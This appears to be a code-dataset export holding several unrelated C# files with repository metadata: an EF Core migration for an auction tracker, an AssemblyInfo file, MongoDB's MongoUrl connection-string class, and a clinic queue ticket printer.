src/tests/GC/Scenarios/THDChaos/masterthread.cs
1,234
C#
// <auto-generated /> using System; using Microsoft.EntityFrameworkCore; using Microsoft.EntityFrameworkCore.Infrastructure; using Microsoft.EntityFrameworkCore.Migrations; using Microsoft.EntityFrameworkCore.Storage.ValueConversion; using TSM.Data; #nullable disable namespace TSM.Data.Migrations { [DbContext(typeof(SqlLiteDbContext))] [Migration("20220208080437_FixAuctionSales")] partial class FixAuctionSales { protected override void BuildTargetModel(ModelBuilder modelBuilder) { #pragma warning disable 612, 618 modelBuilder.HasAnnotation("ProductVersion", "6.0.1"); modelBuilder.Entity("TSM.Data.Models.Character", b => { b.Property<int>("CharacterID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<string>("Class") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<long>("Copper") .HasColumnType("INTEGER"); b.Property<string>("Faction") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<DateTime>("LastUpdateTime") .HasColumnType("TEXT"); b.Property<string>("Name") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<string>("Realm") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.HasKey("CharacterID"); b.ToTable("Character"); }); modelBuilder.Entity("TSM.Data.Models.CharacterAuctionSale", b => { b.Property<int>("CharacterAuctionSaleID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<int>("CharacterID") .HasColumnType("INTEGER"); b.Property<long>("Copper") .HasColumnType("INTEGER"); b.Property<string>("ItemID") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<int>("Quantity") .HasColumnType("INTEGER"); b.Property<string>("Source") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<int>("StackSize") .HasColumnType("INTEGER"); b.Property<DateTime>("TimeOfSale") .HasColumnType("TEXT"); b.HasKey("CharacterAuctionSaleID"); b.HasIndex("CharacterID"); b.ToTable("CharacterAuctionSale"); }); modelBuilder.Entity("TSM.Data.Models.CharacterBank", b => { b.Property<int>("CharacterBankID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<int>("CharacterID") .HasColumnType("INTEGER"); b.Property<string>("ItemID") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<int>("Quantity") .HasColumnType("INTEGER"); b.HasKey("CharacterBankID"); b.HasIndex("CharacterID"); b.ToTable("CharacterBank"); }); modelBuilder.Entity("TSM.Data.Models.CharacterBuy", b => { b.Property<int>("CharacterAuctionBuyID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<DateTime>("BoughtTime") .HasColumnType("TEXT"); b.Property<int>("CharacterID") .HasColumnType("INTEGER"); b.Property<long>("Copper") .HasColumnType("INTEGER"); b.Property<string>("ItemID") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<int>("Quantity") .HasColumnType("INTEGER"); b.Property<string>("Source") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<int>("StackSize") .HasColumnType("INTEGER"); b.HasKey("CharacterAuctionBuyID"); b.HasIndex("CharacterID"); b.ToTable("CharacterBuy"); }); modelBuilder.Entity("TSM.Data.Models.CharacterCancelledAuction", b => { b.Property<int>("CharacterCancelledAuctionID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<DateTime>("CancelledTime") .HasColumnType("TEXT"); b.Property<int>("CharacterID") .HasColumnType("INTEGER"); b.Property<string>("ItemID") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<int>("Quantity") .HasColumnType("INTEGER"); b.Property<int>("StackSize") .HasColumnType("INTEGER"); b.HasKey("CharacterCancelledAuctionID"); b.HasIndex("CharacterID"); b.ToTable("CharacterCancelledAuction"); }); modelBuilder.Entity("TSM.Data.Models.CharacterExpiredAuction", b => { b.Property<int>("CharacterExpiredAuctionID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<int>("CharacterID") .HasColumnType("INTEGER"); b.Property<DateTime>("ExpiredTime") .HasColumnType("TEXT"); b.Property<string>("ItemID") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<int>("Quantity") .HasColumnType("INTEGER"); b.Property<int>("StackSize") .HasColumnType("INTEGER"); b.HasKey("CharacterExpiredAuctionID"); b.HasIndex("CharacterID"); b.ToTable("CharacterExpiredAuction"); }); modelBuilder.Entity("TSM.Data.Models.CharacterInventory", b => { b.Property<int>("CharacterInventoryID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<int>("CharacterID") .HasColumnType("INTEGER"); b.Property<string>("ItemID") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<int>("Quantity") .HasColumnType("INTEGER"); b.HasKey("CharacterInventoryID"); b.HasIndex("CharacterID"); b.ToTable("CharacterInventory"); }); modelBuilder.Entity("TSM.Data.Models.CharacterMailItem", b => { b.Property<int>("CharacterMailItemID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<int>("CharacterID") .HasColumnType("INTEGER"); b.Property<int>("Count") .HasColumnType("INTEGER"); b.Property<string>("ItemID") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.HasKey("CharacterMailItemID"); b.HasIndex("CharacterID"); b.ToTable("CharacterMailItem"); }); modelBuilder.Entity("TSM.Data.Models.CharacterReagent", b => { b.Property<int>("CharacterReagentID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<int>("CharacterID") .HasColumnType("INTEGER"); b.Property<string>("ItemID") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<int>("Quantity") .HasColumnType("INTEGER"); b.HasKey("CharacterReagentID"); b.HasIndex("CharacterID"); b.ToTable("CharacterReagent"); }); modelBuilder.Entity("TSM.Data.Models.Item", b => { b.Property<string>("ItemID") .HasMaxLength(255) .HasColumnType("TEXT"); b.Property<string>("Name") .IsRequired() .HasMaxLength(255) .HasColumnType("TEXT"); b.HasKey("ItemID"); b.ToTable("Item"); }); modelBuilder.Entity("TSM.Data.Models.ScannedBackup", b => { b.Property<int>("ScannedBackupID") .ValueGeneratedOnAdd() .HasColumnType("INTEGER"); b.Property<string>("BackupPath") .IsRequired() .HasMaxLength(500) .HasColumnType("TEXT"); b.Property<double>("Duration") .HasColumnType("REAL"); b.Property<DateTime>("ScannedTime") .HasColumnType("TEXT"); b.HasKey("ScannedBackupID"); b.ToTable("ScannedBackup"); }); modelBuilder.Entity("TSM.Data.Models.CharacterAuctionSale", b => { b.HasOne("TSM.Data.Models.Character", "Character") .WithMany("CharacterAuctionSales") .HasForeignKey("CharacterID") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); b.Navigation("Character"); }); modelBuilder.Entity("TSM.Data.Models.CharacterBank", b => { b.HasOne("TSM.Data.Models.Character", "Character") .WithMany("CharacterBankItems") .HasForeignKey("CharacterID") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); b.Navigation("Character"); }); modelBuilder.Entity("TSM.Data.Models.CharacterBuy", b => { b.HasOne("TSM.Data.Models.Character", "Character") .WithMany("CharacterBuys") .HasForeignKey("CharacterID") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); b.Navigation("Character"); }); modelBuilder.Entity("TSM.Data.Models.CharacterCancelledAuction", b => { b.HasOne("TSM.Data.Models.Character", "Character") .WithMany("CharacterCancelledAuctions") .HasForeignKey("CharacterID") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); b.Navigation("Character"); }); modelBuilder.Entity("TSM.Data.Models.CharacterExpiredAuction", b => { b.HasOne("TSM.Data.Models.Character", "Character") .WithMany("CharacterExpiredAuctions") .HasForeignKey("CharacterID") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); b.Navigation("Character"); }); modelBuilder.Entity("TSM.Data.Models.CharacterInventory", b => { b.HasOne("TSM.Data.Models.Character", "Character") .WithMany("CharacterInventoryItems") .HasForeignKey("CharacterID") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); b.Navigation("Character"); }); modelBuilder.Entity("TSM.Data.Models.CharacterMailItem", b => { b.HasOne("TSM.Data.Models.Character", "Character") .WithMany("CharacterMailItems") .HasForeignKey("CharacterID") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); b.Navigation("Character"); }); modelBuilder.Entity("TSM.Data.Models.CharacterReagent", b => { b.HasOne("TSM.Data.Models.Character", "Character") .WithMany("CharacterReagents") .HasForeignKey("CharacterID") .OnDelete(DeleteBehavior.Cascade) .IsRequired(); b.Navigation("Character"); }); modelBuilder.Entity("TSM.Data.Models.Character", b => { b.Navigation("CharacterAuctionSales"); b.Navigation("CharacterBankItems"); b.Navigation("CharacterBuys"); b.Navigation("CharacterCancelledAuctions"); b.Navigation("CharacterExpiredAuctions"); b.Navigation("CharacterInventoryItems"); b.Navigation("CharacterMailItems"); b.Navigation("CharacterReagents"); }); #pragma warning restore 612, 618 } } }
34.567198
81
0.436376
[ "MIT" ]
middas/TSM_Analyzer
TSM.Data/Migrations/20220208080437_FixAuctionSales.Designer.cs
15,177
C#
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("NFK Demo Adapter")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("NFK Demo Adapter")] [assembly: AssemblyCopyright("Copyright © HarpyWar 2020")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("989f23bf-96db-4703-aea9-3ee34f627457")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.23.0.0")] [assembly: AssemblyFileVersion("1.23.0.0")]
38.108108
84
0.748227
[ "MIT" ]
NeedForKillTheGame/ndm-adapter
NFKDemoAdapter/Properties/AssemblyInfo.cs
1,413
C#
/* Copyright 2010-present MongoDB Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using System; using System.Collections.Generic; using System.Linq; using System.Threading; using System.Threading.Tasks; using MongoDB.Bson; using MongoDB.Driver.Core.Clusters; using MongoDB.Driver.Core.Configuration; using MongoDB.Driver.Core.Misc; namespace MongoDB.Driver { /// <summary> /// Represents an immutable URL style connection string. See also MongoUrlBuilder. /// </summary> [Serializable] public class MongoUrl : IEquatable<MongoUrl> { // private static fields private static object __staticLock = new object(); private static Dictionary<string, MongoUrl> __cache = new Dictionary<string, MongoUrl>(); // private fields private readonly bool _allowInsecureTls; private readonly string _applicationName; private readonly string _authenticationMechanism; private readonly IEnumerable<KeyValuePair<string, string>> _authenticationMechanismProperties; private readonly string _authenticationSource; private readonly IReadOnlyList<CompressorConfiguration> _compressors; #pragma warning disable CS0618 // Type or member is obsolete private readonly ConnectionMode _connectionMode; private readonly ConnectionModeSwitch _connectionModeSwitch; #pragma warning restore CS0618 // Type or member is obsolete private readonly TimeSpan _connectTimeout; private readonly string _databaseName; private readonly bool? _directConnection; private readonly bool? _fsync; private readonly GuidRepresentation _guidRepresentation; private readonly TimeSpan _heartbeatInterval; private readonly TimeSpan _heartbeatTimeout; private readonly bool _ipv6; private readonly bool _isResolved; private readonly bool? _journal; private readonly bool _loadBalanced; private readonly TimeSpan _maxConnectionIdleTime; private readonly TimeSpan _maxConnectionLifeTime; private readonly int _maxConnectionPoolSize; private readonly int _minConnectionPoolSize; private readonly string _password; private readonly ReadConcernLevel? _readConcernLevel; private readonly ReadPreference _readPreference; private readonly string _replicaSetName; private readonly bool? _retryReads; private readonly bool? _retryWrites; private readonly TimeSpan _localThreshold; private readonly ConnectionStringScheme _scheme; private readonly IEnumerable<MongoServerAddress> _servers; private readonly TimeSpan _serverSelectionTimeout; private readonly TimeSpan _socketTimeout; private readonly bool _tlsDisableCertificateRevocationCheck; private readonly string _username; private readonly bool _useTls; private readonly WriteConcern.WValue _w; private readonly double _waitQueueMultiple; private readonly int _waitQueueSize; private readonly TimeSpan _waitQueueTimeout; private readonly TimeSpan? _wTimeout; private readonly string _url; private readonly string _originalUrl; // constructors /// <summary> /// Creates a new instance of MongoUrl. /// </summary> /// <param name="url">The URL containing the settings.</param> public MongoUrl(string url) { _originalUrl = url; var builder = new MongoUrlBuilder(url); // parses url _allowInsecureTls = builder.AllowInsecureTls; _applicationName = builder.ApplicationName; _authenticationMechanism = builder.AuthenticationMechanism; _authenticationMechanismProperties = builder.AuthenticationMechanismProperties; _authenticationSource = builder.AuthenticationSource; _compressors = builder.Compressors; #pragma warning disable CS0618 // Type or member is obsolete if (builder.ConnectionModeSwitch == ConnectionModeSwitch.UseConnectionMode) { _connectionMode = builder.ConnectionMode; } _connectionModeSwitch = builder.ConnectionModeSwitch; #pragma warning restore CS0618 // Type or member is obsolete _connectTimeout = builder.ConnectTimeout; _databaseName = builder.DatabaseName; #pragma warning disable CS0618 // Type or member is obsolete if (builder.ConnectionModeSwitch == ConnectionModeSwitch.UseDirectConnection) { _directConnection = builder.DirectConnection; } #pragma warning restore CS0618 // Type or member is obsolete _fsync = builder.FSync; #pragma warning disable 618 if (BsonDefaults.GuidRepresentationMode == GuidRepresentationMode.V2) { _guidRepresentation = builder.GuidRepresentation; } #pragma warning restore 618 _heartbeatInterval = builder.HeartbeatInterval; _heartbeatTimeout = builder.HeartbeatTimeout; _ipv6 = builder.IPv6; _isResolved = builder.Scheme != ConnectionStringScheme.MongoDBPlusSrv; _journal = builder.Journal; _loadBalanced = builder.LoadBalanced; _localThreshold = builder.LocalThreshold; _maxConnectionIdleTime = builder.MaxConnectionIdleTime; _maxConnectionLifeTime = builder.MaxConnectionLifeTime; _maxConnectionPoolSize = builder.MaxConnectionPoolSize; _minConnectionPoolSize = builder.MinConnectionPoolSize; _password = builder.Password; _readConcernLevel = builder.ReadConcernLevel; _readPreference = builder.ReadPreference; _replicaSetName = builder.ReplicaSetName; _retryReads = builder.RetryReads; _retryWrites = builder.RetryWrites; _scheme = builder.Scheme; _servers = builder.Servers; _serverSelectionTimeout = builder.ServerSelectionTimeout; _socketTimeout = builder.SocketTimeout; _tlsDisableCertificateRevocationCheck = builder.TlsDisableCertificateRevocationCheck; _username = builder.Username; _useTls = builder.UseTls; _w = builder.W; #pragma warning disable 618 _waitQueueMultiple = builder.WaitQueueMultiple; _waitQueueSize = builder.WaitQueueSize; #pragma warning restore 618 _waitQueueTimeout = builder.WaitQueueTimeout; _wTimeout = builder.WTimeout; _url = builder.ToString(); // keep canonical form } internal MongoUrl(string url, bool isResolved) : this(url) { if (!isResolved && _scheme != ConnectionStringScheme.MongoDBPlusSrv) { throw new ArgumentException("Only connection strings with scheme MongoDBPlusSrv can be unresolved.", nameof(isResolved)); } _isResolved = isResolved; } // public properties /// <summary> /// Gets whether to relax TLS constraints as much as possible. /// </summary> public bool AllowInsecureTls => _allowInsecureTls; /// <summary> /// Gets the application name. /// </summary> public string ApplicationName { get { return _applicationName; } } /// <summary> /// Gets the authentication mechanism. /// </summary> public string AuthenticationMechanism { get { return _authenticationMechanism; } } /// <summary> /// Gets the authentication mechanism properties. /// </summary> public IEnumerable<KeyValuePair<string, string>> AuthenticationMechanismProperties { get { return _authenticationMechanismProperties; } } /// <summary> /// Gets the authentication source. /// </summary> public string AuthenticationSource { get { return _authenticationSource; } } /// <summary> /// Gets the compressors. /// </summary> public IReadOnlyList<CompressorConfiguration> Compressors { get { return _compressors; } } /// <summary> /// Gets the actual wait queue size (either WaitQueueSize or WaitQueueMultiple x MaxConnectionPoolSize). /// </summary> [Obsolete("This property will be removed in a later release.")] public int ComputedWaitQueueSize { get { if (_waitQueueMultiple == 0.0) { return _waitQueueSize; } else { var effectiveMaxConnections = ConnectionStringConversions.GetEffectiveMaxConnections(_maxConnectionPoolSize); return ConnectionStringConversions.GetComputedWaitQueueSize(effectiveMaxConnections, _waitQueueMultiple); } } } /// <summary> /// Gets the connection mode. /// </summary> [Obsolete("Use DirectConnection instead.")] public ConnectionMode ConnectionMode { get { if (_connectionModeSwitch == ConnectionModeSwitch.UseDirectConnection) { throw new InvalidOperationException("ConnectionMode cannot be used when ConnectionModeSwitch is set to UseDirectConnection."); } return _connectionMode; } } /// <summary> /// Gets the connection mode switch. /// </summary> [Obsolete("This property will be removed in a later release.")] public ConnectionModeSwitch ConnectionModeSwitch { get { return _connectionModeSwitch; } } /// <summary> /// Gets the connect timeout. /// </summary> public TimeSpan ConnectTimeout { get { return _connectTimeout; } } /// <summary> /// Gets the optional database name. /// </summary> public string DatabaseName { get { return _databaseName; } } /// <summary> /// Gets the direct connection. /// </summary> public bool? DirectConnection { get { #pragma warning disable CS0618 // Type or member is obsolete if (_connectionModeSwitch == ConnectionModeSwitch.UseConnectionMode) #pragma warning restore CS0618 // Type or member is obsolete { throw new InvalidOperationException("DirectConnection cannot be used when ConnectionModeSwitch is set to UseConnectionMode."); } return _directConnection; } } /// <summary> /// Gets the FSync component of the write concern. /// </summary> public bool? FSync { get { return _fsync; } } /// <summary> /// Gets the representation to use for Guids. /// </summary> [Obsolete("Configure serializers instead.")] public GuidRepresentation GuidRepresentation { get { if (BsonDefaults.GuidRepresentationMode != GuidRepresentationMode.V2) { throw new InvalidOperationException("MongoUrl.GuidRepresentation can only be used when BsonDefaults.GuidRepresentationMode is V2."); } return _guidRepresentation; } } /// <summary> /// Gets a value indicating whether this instance has authentication settings. /// </summary> public bool HasAuthenticationSettings { get { return _username != null || _password != null || _authenticationMechanism != null; } } /// <summary> /// Gets the heartbeat interval. /// </summary> public TimeSpan HeartbeatInterval { get { return _heartbeatInterval; } } /// <summary> /// Gets the heartbeat timeout. /// </summary> public TimeSpan HeartbeatTimeout { get { return _heartbeatTimeout; } } /// <summary> /// Gets a value indicating whether to use IPv6. /// </summary> public bool IPv6 { get { return _ipv6; } } /// <summary> /// Gets a value indicating whether a connection string with scheme MongoDBPlusSrv has been resolved. /// </summary> public bool IsResolved { get { return _isResolved; } } /// <summary> /// Gets the Journal component of the write concern. /// </summary> public bool? Journal { get { return _journal; } } /// <summary> /// Gets or sets whether load balanced mode is used. /// </summary> public bool LoadBalanced { get { return _loadBalanced; } } /// <summary> /// Gets the local threshold. /// </summary> public TimeSpan LocalThreshold { get { return _localThreshold; } } /// <summary> /// Gets the max connection idle time. /// </summary> public TimeSpan MaxConnectionIdleTime { get { return _maxConnectionIdleTime; } } /// <summary> /// Gets the max connection life time. /// </summary> public TimeSpan MaxConnectionLifeTime { get { return _maxConnectionLifeTime; } } /// <summary> /// Gets the max connection pool size. /// </summary> public int MaxConnectionPoolSize { get { return _maxConnectionPoolSize; } } /// <summary> /// Gets the min connection pool size. /// </summary> public int MinConnectionPoolSize { get { return _minConnectionPoolSize; } } /// <summary> /// Gets the password. /// </summary> public string Password { get { return _password; } } /// <summary> /// Gets the read concern level. /// </summary> public ReadConcernLevel? ReadConcernLevel { get { return _readConcernLevel; } } /// <summary> /// Gets the read preference. /// </summary> public ReadPreference ReadPreference { get { return _readPreference; } } /// <summary> /// Gets the name of the replica set. /// </summary> public string ReplicaSetName { get { return _replicaSetName; } } /// <summary> /// Gets whether reads will be retried. /// </summary> public bool? RetryReads { get { return _retryReads; } } /// <summary> /// Gets whether writes will be retried. /// </summary> public bool? RetryWrites { get { return _retryWrites; } } /// <summary> /// Gets the connection string scheme. /// </summary> public ConnectionStringScheme Scheme { get { return _scheme; } } /// <summary> /// Gets the address of the server (see also Servers if using more than one address). /// </summary> public MongoServerAddress Server { get { return (_servers == null) ? null : _servers.Single(); } } /// <summary> /// Gets the list of server addresses (see also Server if using only one address). /// </summary> public IEnumerable<MongoServerAddress> Servers { get { return _servers; } } /// <summary> /// Gets the server selection timeout. /// </summary> public TimeSpan ServerSelectionTimeout { get { return _serverSelectionTimeout; } } /// <summary> /// Gets the socket timeout. /// </summary> public TimeSpan SocketTimeout { get { return _socketTimeout; } } /// <summary> /// Gets whether or not to disable checking certificate revocation status during the TLS handshake. /// </summary> public bool TlsDisableCertificateRevocationCheck => _tlsDisableCertificateRevocationCheck; /// <summary> /// Gets the URL (in canonical form). /// </summary> public string Url { get { return _url; } } /// <summary> /// Gets the username. /// </summary> public string Username { get { return _username; } } /// <summary> /// Gets a value indicating whether to use SSL. /// </summary> [Obsolete("Use UseTls instead.")] public bool UseSsl => _useTls; /// <summary> /// Gets a value indicating whether to use TLS. /// </summary> public bool UseTls => _useTls; /// <summary> /// Gets a value indicating whether to verify an SSL certificate. /// </summary> [Obsolete("Use AllowInsecureTls instead.")] public bool VerifySslCertificate => !_allowInsecureTls; /// <summary> /// Gets the W component of the write concern. /// </summary> public WriteConcern.WValue W { get { return _w; } } /// <summary> /// Gets the wait queue multiple (the actual wait queue size will be WaitQueueMultiple x MaxConnectionPoolSize). /// </summary> [Obsolete("This property will be removed in a later release.")] public double WaitQueueMultiple { get { return _waitQueueMultiple; } } /// <summary> /// Gets the wait queue size. /// </summary> [Obsolete("This property will be removed in a later release.")] public int WaitQueueSize { get { return _waitQueueSize; } } /// <summary> /// Gets the wait queue timeout. /// </summary> public TimeSpan WaitQueueTimeout { get { return _waitQueueTimeout; } } /// <summary> /// Gets the WTimeout component of the write concern. /// </summary> public TimeSpan? WTimeout { get { return _wTimeout; } } // public operators /// <summary> /// Compares two MongoUrls. /// </summary> /// <param name="lhs">The first URL.</param> /// <param name="rhs">The other URL.</param> /// <returns>True if the two URLs are equal (or both null).</returns> public static bool operator ==(MongoUrl lhs, MongoUrl rhs) { return object.Equals(lhs, rhs); } /// <summary> /// Compares two MongoUrls. /// </summary> /// <param name="lhs">The first URL.</param> /// <param name="rhs">The other URL.</param> /// <returns>True if the two URLs are not equal (or one is null and the other is not).</returns> public static bool operator !=(MongoUrl lhs, MongoUrl rhs) { return !(lhs == rhs); } // public static methods /// <summary> /// Clears the URL cache. When a URL is parsed it is stored in the cache so that it doesn't have to be /// parsed again. There is rarely a need to call this method. /// </summary> public static void ClearCache() { __cache.Clear(); } /// <summary> /// Creates an instance of MongoUrl (might be an existing existence if the same URL has been used before). /// </summary> /// <param name="url">The URL containing the settings.</param> /// <returns>An instance of MongoUrl.</returns> public static MongoUrl Create(string url) { // cache previously seen urls to avoid repeated parsing lock (__staticLock) { MongoUrl mongoUrl; if (!__cache.TryGetValue(url, out mongoUrl)) { mongoUrl = new MongoUrl(url); var canonicalUrl = mongoUrl.ToString(); if (canonicalUrl != url) { if (__cache.ContainsKey(canonicalUrl)) { mongoUrl = __cache[canonicalUrl]; // use existing MongoUrl } else { __cache[canonicalUrl] = mongoUrl; // cache under canonicalUrl also } } __cache[url] = mongoUrl; } return mongoUrl; } } // public methods /// <summary> /// Compares two MongoUrls. /// </summary> /// <param name="rhs">The other URL.</param> /// <returns>True if the two URLs are equal.</returns> public bool Equals(MongoUrl rhs) { if (object.ReferenceEquals(rhs, null) || GetType() != rhs.GetType()) { return false; } return _url == rhs._url; // this works because URL is in canonical form } /// <summary> /// Compares two MongoUrls. /// </summary> /// <param name="obj">The other URL.</param> /// <returns>True if the two URLs are equal.</returns> public override bool Equals(object obj) { return Equals(obj as MongoUrl); // works even if obj is null or of a different type } /// <summary> /// Gets the credential. /// </summary> /// <returns>The credential (or null if the URL has not authentication settings).</returns> public MongoCredential GetCredential() { if (HasAuthenticationSettings) { return MongoCredential.FromComponents( _authenticationMechanism, _authenticationSource, _databaseName, _username, _password); } else { return null; } } /// <summary> /// Gets the hash code. /// </summary> /// <returns>The hash code.</returns> public override int GetHashCode() { return _url.GetHashCode(); // this works because URL is in canonical form } /// <summary> /// Returns a WriteConcern value based on this instance's settings and a default enabled value. /// </summary> /// <param name="enabledDefault">The default enabled value.</param> /// <returns>A WriteConcern.</returns> public WriteConcern GetWriteConcern(bool enabledDefault) { if (_w == null && !_wTimeout.HasValue && !_fsync.HasValue && !_journal.HasValue) { return enabledDefault ? WriteConcern.Acknowledged : WriteConcern.Unacknowledged; } return new WriteConcern(_w, _wTimeout, _fsync, _journal); } /// <summary> /// Resolves a connection string. If the connection string indicates more information is available /// in the DNS system, it will acquire that information as well. /// </summary> /// <param name="cancellationToken">The cancellation token.</param> /// <returns>A resolved MongoURL.</returns> public MongoUrl Resolve(CancellationToken cancellationToken = default(CancellationToken)) { return Resolve(resolveHosts: true, cancellationToken); } /// <summary> /// Resolves a connection string. If the connection string indicates more information is available /// in the DNS system, it will acquire that information as well. /// </summary> /// <param name="resolveHosts">Whether to resolve hosts.</param> /// <param name="cancellationToken">The cancellation token.</param> /// <returns>A resolved MongoURL.</returns> public MongoUrl Resolve(bool resolveHosts, CancellationToken cancellationToken = default(CancellationToken)) { if (_isResolved) { return this; } var connectionString = new ConnectionString(_originalUrl); var resolved = connectionString.Resolve(resolveHosts, cancellationToken); return new MongoUrl(resolved.ToString(), isResolved: true); } /// <summary> /// Resolves a connection string. If the connection string indicates more information is available /// in the DNS system, it will acquire that information as well. /// </summary> /// <param name="cancellationToken">The cancellation token.</param> /// <returns>A resolved MongoURL.</returns> public Task<MongoUrl> ResolveAsync(CancellationToken cancellationToken = default(CancellationToken)) { return ResolveAsync(resolveHosts: true); } /// <summary> /// Resolves a connection string. If the connection string indicates more information is available /// in the DNS system, it will acquire that information as well. /// </summary> /// <param name="resolveHosts">Whether to resolve hosts.</param> /// <param name="cancellationToken">The cancellation token.</param> /// <returns>A resolved MongoURL.</returns> public async Task<MongoUrl> ResolveAsync(bool resolveHosts, CancellationToken cancellationToken = default(CancellationToken)) { if (_isResolved) { return this; } var connectionString = new ConnectionString(_originalUrl); var resolved = await connectionString.ResolveAsync(resolveHosts, cancellationToken).ConfigureAwait(false); return new MongoUrl(resolved.ToString(), isResolved: true); } /// <summary> /// Returns the canonical URL based on the settings in this MongoUrlBuilder. /// </summary> /// <returns>The canonical URL.</returns> public override string ToString() { return _url; } // private methods private bool AnyWriteConcernSettingsAreSet() { return _fsync != null || _journal != null || _w != null || _wTimeout != null; } } }
34.627034
152
0.575993
[ "Apache-2.0" ]
brian-pickens/mongo-csharp-driver
src/MongoDB.Driver/MongoUrl.cs
27,667
C#
using System.Drawing; using System.Drawing.Printing; using MedicalClinicQueue.Data; using MedicalClinicQueue.Models; namespace MedicalClinicQueue.Services { public class PrinterService { private readonly PrintDocument _printDocument; private readonly ServiceItem _serviceItem; private readonly Company _company; public PrinterService(ServiceItem serviceItem) { _printDocument = new PrintDocument(); _printDocument.PrintPage += PrintDocument_PrintPage; _serviceItem = serviceItem; _company = Company.GetValidatedCompany(Constants.SettingsConfigFile); } public void Print() { _printDocument.PrinterSettings.PrinterName = _company.Printer; _printDocument.Print(); } private void PrintDocument_PrintPage(object sender, PrintPageEventArgs e) { using (var graphics = e.Graphics) { var regular = new Font(FontFamily.GenericSansSerif, 10.0f, FontStyle.Regular); var regularSmaller = new Font(FontFamily.GenericSansSerif, 8.0f, FontStyle.Regular); var bold = new Font(FontFamily.GenericSansSerif, 10.0f, FontStyle.Bold); var boldHigher = new Font(FontFamily.GenericSansSerif, 50.0f, FontStyle.Bold); var stringFormat = new StringFormat() { LineAlignment = StringAlignment.Center, Alignment = StringAlignment.Center }; // Company name graphics.DrawString(_company.Name, regular, Brushes.Black, 20, 10); graphics.DrawLine(Pens.Black, 10, 30, 210, 30); // Number and time graphics.DrawString($"Время: {_serviceItem.LastTimestamp.ToString("dd.MM.yyyy hh:mm")}", bold, Brushes.Black, 20, 50); graphics.DrawString(_serviceItem.QueueCount.ToString(), boldHigher, Brushes.Black, 55, 65); // Doctor name section var doctorNameSF = graphics.MeasureString(_serviceItem.Name, bold, 200, stringFormat); graphics.DrawRectangle(Pens.Black, 10, 150, 200, 70); //graphics.DrawString(_serviceItem.Name, bold, Brushes.Black, 20, 162); graphics.DrawString(_serviceItem.Name, bold, Brushes.Black, new RectangleF(new PointF(20, 160), doctorNameSF), stringFormat); // Contacts section //graphics.DrawString($"Контакты:", regular, Brushes.Black, 10, 210); //graphics.DrawRectangle(Pens.Black, 10, 225, 200, 120); var contactsSF = graphics.MeasureString(_company.Contacts, regularSmaller, 200); graphics.DrawString(_company.Contacts, regularSmaller, Brushes.Black, new RectangleF(new Point(13, 250), contactsSF), StringFormat.GenericTypographic); graphics.DrawLine(Pens.Black, 10, 300, 210, 300); } } } }
46.121212
167
0.620565
[ "MIT" ]
suxrobGM/MedicalClinicQueue
src/MedicalClinicQueue/Services/PrinterService.cs
3,059
C#
